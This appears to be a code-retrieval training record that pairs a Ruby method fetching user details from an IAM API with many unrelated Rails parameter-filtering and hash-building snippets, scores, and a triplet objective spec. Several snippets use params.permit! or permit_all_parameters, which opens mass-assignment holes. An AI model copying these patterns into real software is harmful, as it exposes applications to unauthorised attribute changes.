"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Returns a hashmap with all the necessary data to output else an empty hash
|
def fetch_user_details(iam_id)
result = {}
# Each we use ___[0] because get_from_api returns an array
# We know we only need [0] because we are querying by iamId
# Get ids, names and affiliations
basic_info = get_from_api("api/iam/people/search", "iamId" => iam_id)
result["basic_info"] = !basic_info || basic_info.empty? ? [] : basic_info
# Get email, postaladdress, phone numbers
contact_info = get_from_api("api/iam/people/contactinfo/search", "iamId" => iam_id)
result["contact_info"] = !contact_info || contact_info.empty? ? [] : contact_info
# Get kerberos loginid
kerberos_info = get_from_api("api/iam/people/prikerbacct/search", "iamId" => iam_id)
result["kerberos_info"] = !kerberos_info || kerberos_info.empty? ? [] : kerberos_info
# Get PPS department, title, and position type
pps_info = get_from_api("api/iam/associations/pps/search", "iamId" => iam_id)
result["pps_info"] = !pps_info || pps_info.empty? ? [] : pps_info
# Get ODR department and title
odr_info = get_from_api("api/iam/associations/odr/#{iam_id}")
result["odr_info"] = !odr_info || odr_info.empty? ? [] : odr_info
# Get student information
student_info = get_from_api("api/iam/associations/sis/search", "iamId" => iam_id)
result["student_info"] = !student_info || student_info.empty? ? [] : student_info
return result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def output_hash; end",
"def wrestler_hash_output\n\t\twrestler_hash_output = self.values\n\n\t\twrestler_hash_output[\"name\"] = wrestler_hash_output.delete :name\n\t\twrestler_hash_output[\"set\"] = wrestler_hash_output.delete :set\n\n\t\twrestler_hash_output[\"gc02\"] = wrestler_hash_output.delete :gc02\n\t\twrestler_hash_output[\"gc03\"] = wrestler_hash_output.delete :gc03\n\t\twrestler_hash_output[\"gc04\"] = wrestler_hash_output.delete :gc04\n\t\twrestler_hash_output[\"gc05\"] = wrestler_hash_output.delete :gc05\n\t\twrestler_hash_output[\"gc06\"] = wrestler_hash_output.delete :gc06\n\t\twrestler_hash_output[\"gc07\"] = wrestler_hash_output.delete :gc07\n\t\twrestler_hash_output[\"gc08\"] = wrestler_hash_output.delete :gc08\n\t\twrestler_hash_output[\"gc09\"] = wrestler_hash_output.delete :gc09\n\t\twrestler_hash_output[\"gc10\"] = wrestler_hash_output.delete :gc10\n\t\twrestler_hash_output[\"gc11\"] = wrestler_hash_output.delete :gc11\n\t\twrestler_hash_output[\"gc12\"] = wrestler_hash_output.delete :gc12\n\n\t\twrestler_hash_output[\"dc02\"] = wrestler_hash_output.delete :dc02\n\t\twrestler_hash_output[\"dc03\"] = wrestler_hash_output.delete :dc03\n\t\twrestler_hash_output[\"dc04\"] = wrestler_hash_output.delete :dc04\n\t\twrestler_hash_output[\"dc05\"] = wrestler_hash_output.delete :dc05\n\t\twrestler_hash_output[\"dc06\"] = wrestler_hash_output.delete :dc06\n\t\twrestler_hash_output[\"dc07\"] = wrestler_hash_output.delete :dc07\n\t\twrestler_hash_output[\"dc08\"] = wrestler_hash_output.delete :dc08\n\t\twrestler_hash_output[\"dc09\"] = wrestler_hash_output.delete :dc09\n\t\twrestler_hash_output[\"dc10\"] = wrestler_hash_output.delete :dc10\n\t\twrestler_hash_output[\"dc11\"] = wrestler_hash_output.delete :dc11\n\t\twrestler_hash_output[\"dc12\"] = wrestler_hash_output.delete :dc12\n\n\t\twrestler_hash_output[\"specialty\"] = wrestler_hash_output.delete :specialty\n\n\t\twrestler_hash_output[\"s1\"] = wrestler_hash_output.delete :s1\n\t\twrestler_hash_output[\"s2\"] = wrestler_hash_output.delete :s2\n\t\twrestler_hash_output[\"s3\"] = wrestler_hash_output.delete :s3\n\t\twrestler_hash_output[\"s4\"] = wrestler_hash_output.delete :s4\n\t\twrestler_hash_output[\"s5\"] = wrestler_hash_output.delete :s5\n\t\twrestler_hash_output[\"s6\"] = wrestler_hash_output.delete :s6\n\n\t\twrestler_hash_output[\"subx\"] = wrestler_hash_output[:sub][0]\n\t\twrestler_hash_output[\"suby\"] = wrestler_hash_output[:sub][1]\n\t\twrestler_hash_output[\"tagx\"] = wrestler_hash_output[:sub][0]\n\t\twrestler_hash_output[\"tagy\"] = wrestler_hash_output[:sub][1]\n\n\t\twrestler_hash_output.delete :sub\n\t\twrestler_hash_output.delete :tag\n\n\t\twrestler_hash_output[\"prioritys\"] = wrestler_hash_output.delete :prioritys\n\t\twrestler_hash_output[\"priorityt\"] = wrestler_hash_output.delete :priorityt\n\n\t\twrestler_hash_output[\"oc02\"] = wrestler_hash_output.delete :oc02\n\t\twrestler_hash_output[\"oc03\"] = wrestler_hash_output.delete :oc03\n\t\twrestler_hash_output[\"oc04\"] = wrestler_hash_output.delete :oc04\n\t\twrestler_hash_output[\"oc05\"] = wrestler_hash_output.delete :oc05\n\t\twrestler_hash_output[\"oc06\"] = wrestler_hash_output.delete :oc06\n\t\twrestler_hash_output[\"oc07\"] = wrestler_hash_output.delete :oc07\n\t\twrestler_hash_output[\"oc08\"] = wrestler_hash_output.delete :oc08\n\t\twrestler_hash_output[\"oc09\"] = wrestler_hash_output.delete :oc09\n\t\twrestler_hash_output[\"oc10\"] = wrestler_hash_output.delete :oc10\n\t\twrestler_hash_output[\"oc11\"] = wrestler_hash_output.delete :oc11\n\t\twrestler_hash_output[\"oc12\"] = wrestler_hash_output.delete :oc12\n\n\t\twrestler_hash_output[\"ro02\"] = wrestler_hash_output.delete :ro02\n\t\twrestler_hash_output[\"ro03\"] = wrestler_hash_output.delete :ro03\n\t\twrestler_hash_output[\"ro04\"] = wrestler_hash_output.delete :ro04\n\t\twrestler_hash_output[\"ro05\"] = wrestler_hash_output.delete :ro05\n\t\twrestler_hash_output[\"ro06\"] = wrestler_hash_output.delete :ro06\n\t\twrestler_hash_output[\"ro07\"] = wrestler_hash_output.delete :ro07\n\t\twrestler_hash_output[\"ro08\"] = wrestler_hash_output.delete :ro08\n\t\twrestler_hash_output[\"ro09\"] = wrestler_hash_output.delete :ro09\n\t\twrestler_hash_output[\"ro10\"] = wrestler_hash_output.delete :ro10\n\t\twrestler_hash_output[\"ro11\"] = wrestler_hash_output.delete :ro11\n\t\twrestler_hash_output[\"ro12\"] = wrestler_hash_output.delete :ro12\n\n\t\tf = File.new(\"files/output/#{wrestler_hash_output[\"name\"]}_#{wrestler_hash_output[\"set\"]}_hash.txt\", 'a')\n\n\t\tf.write(\"{\")\n\t\twrestler_hash_output.each { |k,v|\n\t\t\tf.write(\"\\\"#{k}\\\"=>\\\"#{v}\\\", \")\n\t\t}\n\t\tf.write(\"template: nil}\")\n\n\t\tf.write(\"\\n\\n\")\n\tend",
"def data_hash\n @data_hash ||= Hashie::Mash.new(sanitize_data(self.data || {}).reverse_merge(built_in_variables))\n end",
"def generate_hash\n \n tmp_file = \"/tmp/zotero.xml\"\n \n File.open(tmp_file, \"w\") { |f| f << @datastreams[\"zotero\"] }\n \n # Check to make sure zotero.xml file has been written\n raise \"Couldn't write #{tmp_file}\" unless File.exist?(tmp_file) and File.file?(tmp_file)\n \n php_output = `/usr/bin/env php #{File.join(Rails.root, 'lib/stanford/zotero_to_json.php' )} /tmp/zotero.xml`\n # puts php_output.inspect\n \n json = JSON(php_output)\n # puts json.inspect\n json.is_a?(Array) ? json = json.first : json = json\n \n if json.nil? or json.is_a?(String)\n json = {}\n end\n\n # this is really stupid, but it's a quick fix to get the coverage data.\n xml = Nokogiri::XML(open(\"/tmp/zotero.xml\"))\n xml.search(\"//dc:coverage\").each do |cov| \n format_coverage(cov.content.strip).each do |key,vals|\n json[\"#{key}\"] ||= [] \n json[\"#{key}\"] << vals.first\n end\n end\n [\"druid\", \"title\", \"originator\", \"date\", \"document_type\", \"document_subtype\",\n \"containing_work\", \"corporate_entity\", \"extent\", \"language\", \"abstract\", \n \"EAF_hard_drive_file_name\", \"tags\", \"notes\", \"box\", \"folder\", \"subseries\"].each {|k| json[k] ||= \"\" }\n return json\n\n end",
"def build_existinghash(data)\n existinghash = {}\n data.each do |key, value|\n existinghash[key.to_s] = value.to_s.tr(\"\\n\", ' ').strip\n end\n existinghash\n end",
"def hash_template\n template = {}\n \n info.each do | key, value |\n template[key] = generate_structure( value )\n end\n \n template\n end",
"def calculate_hash!\n entry_hash = to_hash\n entry_hash['description']=nil\n @hash = entry_hash.hash\n end",
"def generate_info_hash\n @info_hash = Hash[\n *instance_variables.map { |var|\n [var[1..-1], instance_variable_get(var)] if var != '@content_data' && var != '@header_data'\n }.compact.flatten\n ]\n end",
"def generate_info_hash\n @info_hash = Hash[\n *instance_variables.map { |var|\n [var[1..-1].to_sym, instance_variable_get(var)] if var != '@content_data' && var != '@header_data'\n }.compact.flatten\n ]\n end",
"def to_hash\n memoize(:to_hash) do\n _process_hashed(structures.inject({}) { |acc, elem| Utils.merge(acc, elem) })\n end\n end",
"def hash\n @hash ||= Hash.new { |h, k| h[k] = Hash.new(&h.default_proc) }\n end",
"def to_hash\n\t\tpure_hash = {}\n\t\[email protected] do |info|\n\t\t\tpure_hash[info.key] = info.value\n\t\tend\n\t\tpure_hash\n\tend",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def hashes(to = $stdout)\n hashes = {}\n \n ObjectSpace.each_object(Hash) do |hash|\n begin\n keys_orig = hash.keys.sort\n rescue ArgumentError\n #When unable to sort regexps...\n next\n end\n \n keys = []\n keys_orig.each do |key|\n keys << key.to_s\n end\n \n if keys.empty?\n keystr = :empty\n else\n keystr = keys.join(\":\")\n end\n \n if !hashes.key?(keystr)\n hashes[keystr] = 1\n else\n hashes[keystr] += 1\n end\n end\n \n hashes.delete_if do |key, val|\n val < 100\n end\n \n hashes = Knj::ArrayExt.hash_sort(hashes) do |h1, h2|\n h2[1] <=> h1[1]\n end\n \n to.print \"<h1>Hashes</h1>\\n\"\n to.write \"<table class=\\\"hashes list\\\">\\n\"\n to.write \"\\t<thead>\\n\"\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<th>Hash keys</th>\\n\"\n to.write \"\\t\\t\\t<th>Instances</th>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n to.write \"\\t</thead>\\n\"\n to.write\"\\t<tbody>\\n\"\n \n hashes.each do |key, val|\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Web.html(key)}</td>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Locales.number_out(val, 0)}</td>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n end\n \n to.write \"\\t</tbody>\\n\"\n to.write \"</table>\\n\"\n end",
"def hash_of_hashes\n Hash.new do |h1, k1|\n h1[k1] = Hash.new { |h, k| h[k] = [] }\n end\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def all_chunk_hashes\n\t\t\n\t\tbegin\n\t\t\t@all_chunk_map = \"\"\n\t\t\t0.upto(num_chunks-1) { |i|\n\t\t\t\t@all_chunk_map += sha1_chunk(i)\n\t\t\t}\n\n\t\tend unless @all_chunk_map\n\t\t@all_chunk_map\n\tend",
"def hash\n if @_hash.nil?\n @_hash = {}\n run\n end\n @_hash\n end",
"def build_givenhash(data)\n givenhash = {}\n unless data[:moduleoptions].nil?\n data[:moduleoptions].each do |key, value|\n givenhash[key.to_s] = value.to_s.tr(\"\\n\", ' ').strip\n end\n end\n givenhash\n end",
"def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end",
"def med_stats_hash(_assessed_data); end",
"def output_entry_map\n output_map\n @output_entry_map\n end",
"def to_h\n Hash[all_entries]\n end",
"def to_hash\n ensure_loaded\n @info.merge(@new_info).reject {|key,value| value.nil?}\n end",
"def hmap\n return map unless block_given?\n map { |k, v| yield(k, v) }.compact.to_h\n end",
"def hash\n @hash || calculate_hash!\n end",
"def generate_hash\n @groups.flatten.inject([]) {|hash, stone| hash << stone.to_s}.sort.hash\n end",
"def hash\n [file_id, output_version, image_quality, recompress_images, enable_color_detection, pack_document, pack_fonts, downscale_images, downscale_resolution, fast_web_view, remove_form_fields, remove_annotations, remove_bookmarks, remove_hyperlinks, remove_embedded_files, remove_blank_pages, remove_java_script, enable_jpeg2000, enable_jbig2, enable_char_repair, enable_mrc, preserve_smoothing, downscale_resolution_mrc, remove_metadata, remove_page_thumbnails, remove_page_piece_info, jbig2_pms_threshold].hash\n end",
"def initTableMapping\n $map = Array.new(2000) { Array.new(2000,\"\") }\n $final_map = Array.new(2000) { Array.new(2000,\"\") }\n $hash = Hash.new(0)\nend",
"def hash\n [host_list, total_matching, total_returned].hash\n end",
"def test_data_hash\n [{\n 'PB' => 'Honinbo Shusaku',\n 'BR' => '6d',\n 'PW' => 'Honinbo Shuwa',\n 'WR' => '8d',\n 'GC' => 'game from Hikaru no Go chapter 2, this version only in the anime',\n 'RE' => 'W+4'\n }]\n end",
"def to_hash\n # TODO: find a better option to populate the data to the Hash\n image;feed;links;charset;absolute_links;title;meta_keywords\n @data.to_hash\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def get_hash\r\n get_hash = {}\r\n if @hash.has_key?(self.class::YAML_KEY)\r\n @hash[self.class::YAML_KEY].each do |k, v|\r\n if self.class::BOOLEAN_KEYS.include?(k.to_sym)\r\n get_hash[k] = v ? '1' : '0'\r\n else\r\n get_hash[k] = v\r\n end\r\n end\r\n end\r\n get_hash\r\n end",
"def pretty_hash\n {}.tap do |h|\n h[:name] = cookbook_name unless cookbook_name.blank?\n h[:version] = version unless version.blank?\n h[:description] = description unless description.blank?\n h[:author] = maintainer unless maintainer.blank?\n h[:email] = maintainer_email unless maintainer_email.blank?\n h[:license] = license unless license.blank?\n h[:platforms] = platforms.to_hash unless platforms.blank?\n h[:dependencies] = dependencies.to_hash unless dependencies.blank?\n end\n end",
"def hash\n [format, text_compression, embed_full_fonts, compliance, sufficient_resolution, jpeg_quality, draw_slides_frame, show_hidden_slides, save_metafiles_as_png, password, embed_true_type_fonts_for_ascii, additional_common_font_families, notes_position, comments_position, comments_area_width, comments_area_color, show_comments_by_no_author, image_transparent_color, apply_image_transparent].hash\n end",
"def key_map\r\n hash = {}\r\n hash['to'] = self.to\r\n hash['from'] = self.from\r\n hash['content'] = self.content\r\n hash\r\n end",
"def data_hash\n primary, included =\n resources_processor.process(Array(@data), @include, @fields)\n {}.tap do |hash|\n hash[:data] = @data.respond_to?(:to_ary) ? primary : primary[0]\n hash[:included] = included if included.any?\n end\n end",
"def to_h\n\t\t\thash = Hash.new(nil)\n\t\t\teach_pair { |key, value| hash[key] = value }\n\t\t\thash.freeze\n\t\tend",
"def create_hash\n \n \thash = Hash[get_thoses_fucking_name.zip(get_bitches_mail)]\n \t\n \thash.each do |key, mail|\n\n\tputs \":nom => #{key} ; :e-mail => #{mail}\"\n\t\n\tend\nend",
"def to_hash\n @to_hash ||= Util::NonNilHashBuilder.build do |h|\n h.add(:application, application)\n h.add(:class_name, class_name)\n h.add(:file, file)\n h.add(:function, function)\n h.add(:line, line)\n h.add(:module_name, module_name)\n h.add(:vm_pid, vm_pid)\n end\n end",
"def hash_set_up\n Hash.new { |hash, key| hash[key] = Array.new(1) { 0 } }\n end",
"def site_data_hash; end",
"def to_hash() end",
"def create_hash(&block); end",
"def create_hash(&block); end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n [id, title, image, image_type, servings, ready_in_minutes, license, source_name, source_url, spoonacular_source_url, aggregate_likes, health_score, spoonacular_score, price_per_serving, analyzed_instructions, cheap, credits_text, cuisines, dairy_free, diets, gaps, gluten_free, instructions, ketogenic, low_fodmap, occasions, sustainable, vegan, vegetarian, very_healthy, very_popular, whole30, weight_watcher_smart_points, dish_types, extended_ingredients, summary, wine_pairing].hash\n end",
"def hash\n swap\n scatter\n completed_string\n end",
"def hash\n @__hash || @__hash = keys.empty? ? super : keys.hash\n end",
"def info_hash(user, client)\n basic_info = basic_hash(user, client)\n basic_info.merge!({:totalResults => readable_items_count(user, client),\n :link => { :rel => \"self\", :href => \"/appdata/#{client.id}/@collections/#{id}\"}\n })\n return basic_info\n end",
"def hash_flush_out(hash, pre=\"\", post=\"\") \n hash.map do |k,v|\n key = to_chef_key(k)\n res = to_option_string(v)\n (key.nil? || res.nil?) ? nil : \"#{pre}#{key} #{res}#{post}\"\n end\n end",
"def hash\n [id, name, based_on, custom_calendar, default_flag, application_order, hi_impact_hi_urgency, hi_impact_med_urgency, hi_impact_low_urgency, med_impact_hi_urgency, med_impact_med_urgency, med_impact_low_urgency, low_impact_hi_urgency, low_impact_med_urgency, low_impact_low_urgency, respond_hours, respond_percent, plan_within, plan_within_percent, resolution_hours, resolution_percent, _info].hash\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def lands_hash\n []\n end",
"def initialize\n\t\t\t@hash = {}\n\t\tend",
"def hash\n [ auto_compress_pictures , auto_recover , build_version , calc_mode , calc_stack_size , calculation_id , check_comptiliblity , check_excel_restriction , crash_save , create_calc_chain , data_extract_load , date1904 , display_drawing_objects , enable_macros , first_visible_tab , hide_pivot_field_list , is_default_encrypted , is_hidden , is_h_scroll_bar_visible , is_minimized , is_v_scroll_bar_visible , iteration , language_code , max_change , max_iteration , memory_setting , number_decimal_separator , number_group_separator , parsing_formula_on_open , precision_as_displayed , recalculate_before_save , re_calculate_on_open , recommend_read_only , region , remove_personal_information , repair_load , shared , sheet_tab_bar_width , show_tabs , update_adjacent_cells_border , update_links_type , window_height , window_left , window_top , window_width ].hash\n end",
"def raw_hash\n Hash.new.tap do |out|\n @map.each { |col| out[col.to] = @table[col.from] }\n end\n end",
"def hash\n data.hash\n end",
"def build_initial_hash\n new_hash = {}\n\n # Release context\n release_context = Contexts::Release.from_env\n if release_context\n add_to!(new_hash, release_context)\n end\n\n # System context\n hostname = Socket.gethostname\n pid = Process.pid\n system_context = Contexts::System.new(hostname: hostname, pid: pid)\n add_to!(new_hash, system_context)\n\n # Runtime context\n thread_object_id = Thread.current.object_id\n runtime_context = Contexts::Runtime.new(vm_pid: thread_object_id)\n add_to!(new_hash, runtime_context)\n\n new_hash\n end",
"def key_map\n hash = {}\n hash['email'] = self.email\n hash['zip'] = self.zip\n hash['user_id'] = self.user_id\n hash\n end",
"def key_map\r\n hash = {}\r\n hash['total'] = total\r\n hash['values'] = values\r\n hash\r\n end",
"def hash\n [].hash\n end",
"def hash\n [sequence_number, corporate_number, process, correct, update_date, change_date, name, name_image_id, kind, prefecture_name, city_name, street_number, address_image_id, prefecture_code, city_code, post_code, address_outside, address_outside_image_id, close_date, close_cause, successor_corporate_number, change_cause, assignment_date, latest, en_name, en_prefecture_name, en_city_name, en_address_outside, furigana, hihyoji].hash\n end",
"def pub_hash\n @pub_hash ||= WebOfScience::MapPubHash.new(self).pub_hash\n end",
"def to_hash\n {}\n end",
"def to_hash_all_info\n {\n id: id,\n name: name,\n age: age,\n github: github,\n ultra_wise: ultra_wise?,\n can_drink: can_drink?,\n github_link: \"http://github.com/#{github}\"\n }\n end",
"def default_hash\n hash = {}\n ALLOWED_KEYS.each do |key|\n hash[key] = 0\n end\n hash\n end",
"def to_h\n # add name, errors and warnings if they have real data\n output = {}\n output[\"name\"] = name unless name.to_s.empty?\n output[\"errors\"] = errors.dup if errors.any?\n output[\"warnings\"] = warnings.dup if warnings.any?\n\n # merge the hash data from the report. command-specified data always\n # overwrites local data\n output.merge(super)\n end",
"def general_metadata_hash\r\n metadata = Hash.new\r\n metadata[:filename] = @datafile.file_file_name\r\n metadata[:downloads] = 0\r\n\r\n metadata[:title] = clean_string(general_metadata_sheet[*WBF[:meta_title_pos]])\r\n metadata[:abstract] = clean_string(general_metadata_sheet[*WBF[:meta_abstract_pos]])\r\n metadata[:comment] = clean_string(general_metadata_sheet[*WBF[:meta_comment_pos]])\r\n metadata[:usagerights] = clean_string(general_metadata_sheet[*WBF[:meta_usagerights_pos]])\r\n metadata[:published] = clean_string(general_metadata_sheet[*WBF[:meta_published_pos]])\r\n metadata[:spatialextent] = clean_string(general_metadata_sheet[*WBF[:meta_spatial_extent_pos]])\r\n metadata[:temporalextent] = clean_string(general_metadata_sheet[*WBF[:meta_temporalextent_pos]])\r\n metadata[:taxonomicextent] = clean_string(general_metadata_sheet[*WBF[:meta_taxonomicextent_pos]])\r\n metadata[:design] = clean_string(general_metadata_sheet[*WBF[:meta_design_pos]])\r\n metadata[:dataanalysis] = clean_string(general_metadata_sheet[*WBF[:meta_dataanalysis_pos]])\r\n metadata[:circumstances] = clean_string(general_metadata_sheet[*WBF[:meta_circumstances_pos]])\r\n return metadata\r\n end",
"def to_h\n hsh = {}\n each do |b|\n b.each { |sb| hsh[sb.key] = sb.value }\n end\n hsh\n end",
"def to_hash\n result = {}\n [[:tn, :tn], [:epg, :epg], [:cnam, :cnam], [:refId, :ref_id]].each do |garbage, pretty|\n # Make sure that this thing ain't nil\n if self.send(pretty)\n result[garbage] = self.send(pretty)\n end\n end\n result\n end",
"def to_hash\n {:hashes => @hashes}\n end",
"def build_vendors_hash(vendors_raw)\r\n\thash_map = Hash.new\r\n\r\n\tvendors_raw.each do |vendor|\r\n\t\tif(vendor['attributes']['bitsight_guid'] != nil)\r\n\t \thash_map[vendor['attributes']['bitsight_guid']] = vendor\r\n\t\tend\r\n\tend\r\n\thash_map\r\nend",
